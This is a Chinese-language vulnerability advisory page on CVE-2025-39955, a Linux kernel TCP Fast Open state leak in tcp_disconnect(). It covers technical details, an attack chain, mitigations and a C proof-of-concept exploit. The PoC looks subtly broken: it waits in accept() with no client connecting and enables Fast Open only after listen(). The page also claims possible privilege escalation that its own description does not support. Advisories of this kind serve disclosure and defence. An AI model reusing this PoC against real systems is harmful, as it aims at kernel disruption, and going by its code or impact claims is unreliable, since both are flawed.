IPBUF安全漏洞报告
English
CVE-2025-39955 CVSS 7.8 高危

CVE-2025-39955 Linux内核TCP快速打开套接字状态泄漏漏洞

披露日期: 2025-10-09
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39955
漏洞类型
状态管理缺陷/资源未释放
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelTCPTCP Fast OpenTFOtcp_disconnect状态泄漏本地提权拒绝服务内核漏洞net/ipv4/tcp_timer.c

漏洞概述

CVE-2025-39955是Linux内核TCP协议栈中的一个高危漏洞,位于net/ipv4/tcp_timer.c和net/ipv4/tcp_input.c中的tcp_disconnect()函数。该漏洞源于tcp_disconnect()在重置套接字状态时未清除tcp_sk(sk)->fastopen_rsk指针,导致TCP快速打开(TFO)套接字的状态信息残留。当服务器端的TFO套接字在完成三次握手(3WHS)之前被重用为新的客户端连接时,残留的fastopen_rsk指针会触发重传定时器中的警告信息,并阻止预期数据包的正确重传。

该漏洞由syzbot模糊测试工具发现。当程序依次执行accept()、connect(AF_UNSPEC)和connect()到另一个目标的操作序列时,内核会调用tcp_disconnect()将套接字状态从TCP_SYN_RECV变更为TCP_CLOSE并重启定时器,但由于未清除fastopen_rsk,后续的重传定时器会触发net/ipv4/tcp_timer.c第542行的警告。攻击者可以利用此漏洞在本地导致内核警告、数据包丢失,甚至在特定条件下引发拒绝服务(DoS)或权限提升。该漏洞的CVSS评分为7.8,属于高危级别,影响机密性、完整性和可用性。

技术细节

在Linux内核的TCP实现中,TCP快速打开(TFO)允许在三次握手中携带数据,从而减少连接建立的延迟。当服务器端接收到SYN包并创建子套接字时,会设置tcp_sk(sk)->fastopen_rsk指向对应的请求套接字(request socket)。

漏洞的根本原因是tcp_disconnect()函数在重置套接字状态时遗漏了对fastopen_rsk的清理。具体攻击场景如下:

1. 服务器调用accept()接受一个新的TFO连接,此时sk->sk_state为TCP_SYN_RECV,fastopen_rsk指向请求套接字;
2. 在3WHS完成之前,应用程序调用connect(AF_UNSPEC)断开当前连接;
3. tcp_disconnect()将套接字状态从TCP_SYN_RECV变更为TCP_CLOSE,但未调用reqsk_fastopen_remove()清除fastopen_rsk;
4. 应用程序随后调用connect()连接到另一个目标,重启定时器;
5. 重传定时器触发时,由于fastopen_rsk仍指向旧的请求套接字,内核在tcp_retransmit_timer()中触发警告(net/ipv4/tcp_timer.c:542),且预期数据包无法被正确重传。

修复方案是在tcp_disconnect()中添加reqsk_fastopen_remove()调用,确保在断开连接时正确清理TFO相关的请求套接字引用,防止悬挂指针和状态不一致问题。

攻击链分析

STEP 1
步骤1:创建TFO监听套接字
攻击者在本地创建TCP Fast Open监听套接字,等待客户端连接。此时内核为每个新连接分配子套接字,sk_state为TCP_SYN_RECV,并设置fastopen_rsk指针。
STEP 2
步骤2:接受TFO连接
通过accept()接受一个TFO连接,套接字进入TCP_SYN_RECV状态,fastopen_rsk指向对应的请求套接字。
STEP 3
步骤3:触发tcp_disconnect()
在3WHS完成之前,调用connect(AF_UNSPEC)断开连接。tcp_disconnect()将状态变更为TCP_CLOSE,但未清除fastopen_rsk指针,导致悬挂引用。
STEP 4
步骤4:重连到新目标
调用connect()连接到另一个目标地址,重启定时器。此时fastopen_rsk仍指向已失效的请求套接字。
STEP 5
步骤5:触发重传定时器警告
重传定时器到期时,tcp_retransmit_timer()检测到状态不一致,触发net/ipv4/tcp_timer.c:542的内核警告,可能导致数据包丢失或内核不稳定。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2025-39955 PoC - Linux Kernel TCP Fast Open State Leak * This PoC demonstrates the vulnerability by reusing a server-side TFO socket * as a new client before 3WHS completes. * * Compile: gcc -o poc poc.c * Run: sudo ./poc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #define SERVER_PORT 8080 #define CLIENT_PORT 9090 int main() { int server_fd, client_fd; struct sockaddr_in server_addr, client_addr, target_addr; int opt = 1; // Step 1: Create server socket and accept a TFO connection server_fd = socket(AF_INET, SOCK_STREAM, 0); setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(SERVER_PORT); bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)); listen(server_fd, 5); // Enable TCP_FASTOPEN on server setsockopt(server_fd, IPPROTO_TCP, TCP_FASTOPEN, &opt, sizeof(opt)); // Accept connection (sk_state will be TCP_SYN_RECV for TFO) socklen_t addr_len = sizeof(client_addr); client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &addr_len); if (client_fd < 0) { perror("accept"); return 1; } printf("[+] Accepted TFO connection, state: TCP_SYN_RECV\n"); // Step 2: Disconnect via connect(AF_UNSPEC) - triggers tcp_disconnect() memset(&client_addr, 0, sizeof(client_addr)); client_addr.sin_family = AF_UNSPEC; int ret = connect(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr)); printf("[+] connect(AF_UNSPEC) returned: %d\n", ret); // Step 3: Connect to another destination - restarts timers memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; target_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); target_addr.sin_port = htons(CLIENT_PORT); ret = connect(client_fd, (struct sockaddr *)&target_addr, sizeof(target_addr)); printf("[+] connect() to new target returned: %d\n", ret); // Step 4: Sleep to allow retransmit timer to trigger sleep(2); close(client_fd); close(server_fd); printf("[+] PoC completed - check dmesg for kernel warning\n"); return 0; }

影响范围

Linux Kernel < 6.17.0-rc5 (commit 201825fb4278之前)
Linux Kernel stable分支需要应用以下补丁的版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1) 禁用TCP Fast Open功能,通过sysctl命令设置net.ipv4.tcp_fastopen=0;2) 限制本地用户对原始套接字(raw socket)的访问权限;3) 监控系统日志,及时发现tcp_retransmit_timer相关的内核警告;4) 限制非特权用户创建大量TFO连接的能力;5) 使用SELinux或AppArmor等强制访问控制机制限制进程对网络栈的操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表